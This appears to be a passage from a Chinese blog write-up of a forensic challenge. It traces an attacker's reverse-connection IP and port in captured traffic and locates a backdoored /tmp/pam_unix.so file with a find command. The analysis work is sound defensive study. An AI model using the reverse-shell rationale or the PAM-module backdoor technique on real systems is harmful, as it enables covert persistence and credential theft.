为什么用反连是因为很多计算机的防火墙会阻止外部网络连接本机,但是并不组织本机连接外部网络。

还是在200里面找通过翻找流文件可以知道在tcp.stream eq 57可以找到

发现IP是192.168.31.143/1313

第十一题

我们前面找到很长一串的那个解密出来就是

fileName /tmp/pam_unix.sofileValue NELF

可以看出来文件路径和文件类型

第十二题

我登录环境去寻找黑客的后门来找寻后门密码。通过这个指令

find / -name "pam_unix.so" 2>/dev/null

可以发现有这个文件,这个时候查看历史命令可以在11和12发现我们刚才查找的地址

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇